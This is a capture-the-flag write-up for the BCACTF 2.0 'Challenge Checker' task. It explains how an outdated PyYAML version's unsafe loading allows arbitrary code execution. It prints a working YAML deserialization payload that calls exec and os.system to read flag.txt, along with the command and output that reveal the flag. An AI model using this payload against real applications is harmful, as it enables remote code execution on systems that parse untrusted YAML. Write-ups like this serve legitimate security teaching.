# Challenge Checker
#### Category : misc#### Points : 150 points (70 solves)#### Author : anli, Edward Feng
## ChallengeI made this challenge checker to automate away ed's job. Maybe you can get a flag if you give it enough delicious yams...
-   [chall.yaml](https://objects.bcactf.com/bcactf2/challenge-checker/chall.yaml)-   [requirements.txt](https://objects.bcactf.com/bcactf2/challenge-checker/requirements.txt)-   [verify.py](https://objects.bcactf.com/bcactf2/challenge-checker/verify.py)-   `nc misc.bcactf.com 49153`
## SolutionTaking a look at `requirements.txt`, we find that it is using an old version of PyYAML(3.13).
When I searched for vulnerabilites, I found that PyYAML below 5.4 is vulnerable to arbitrary code execution due to the `full_load` method.
More Information :[PyYAML Vulnerabilities](https://snyk.io/vuln/SNYK-PYTHON-PYYAML-590151)
I also found a writeup for the same at https://hackmd.io/@harrier/uiuctf20
#### Vulnerable Code :The vulnerable function is the `check` function```pythondef check(raw_data) -> "Tuple[list[str], list[str]]":    data = load(raw_data)    if not isinstance(data, dict):        raise Exception("Data must be a dictionary")```
This function is being called after accepting `raw_data` from the user :```pythonif __name__ == "__main__":    cprint("Paste in your chall.yaml file, then send an EOF:", "cyan", attrs=["bold"])    sys.stdout.flush()    try:        raw_data = sys.stdin.read()        errors, warnings = check(raw_data)```
#### Getting flag.txtI came up with the following payload to extract `flag.txt` :```bash!!python/object/new:type  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]  listitems: "import os; os.system('cat flag.txt')" ```  Getting the flag : ```bash$ cat payload|  ncat misc.bcactf.com 49153                                          Paste in your chall.yaml file, then send an EOF or two empty lines:bcactf{3d_r3ally_l1k35s_his_yams_c00ked_j5fc9g}Fatal error: Data must be a dictionary
```
flag : `bcactf{3d_r3ally_l1k35s_his_yams_c00ked_j5fc9g}`
#### NoteI used ncat instead of nc because there was some problem while sending EOF with nc.
[Originial Writeup](https://github.com/p1xxxel/ctf-writeups/tree/main/2021/BCACTF%202.0/Challenge%20Checker)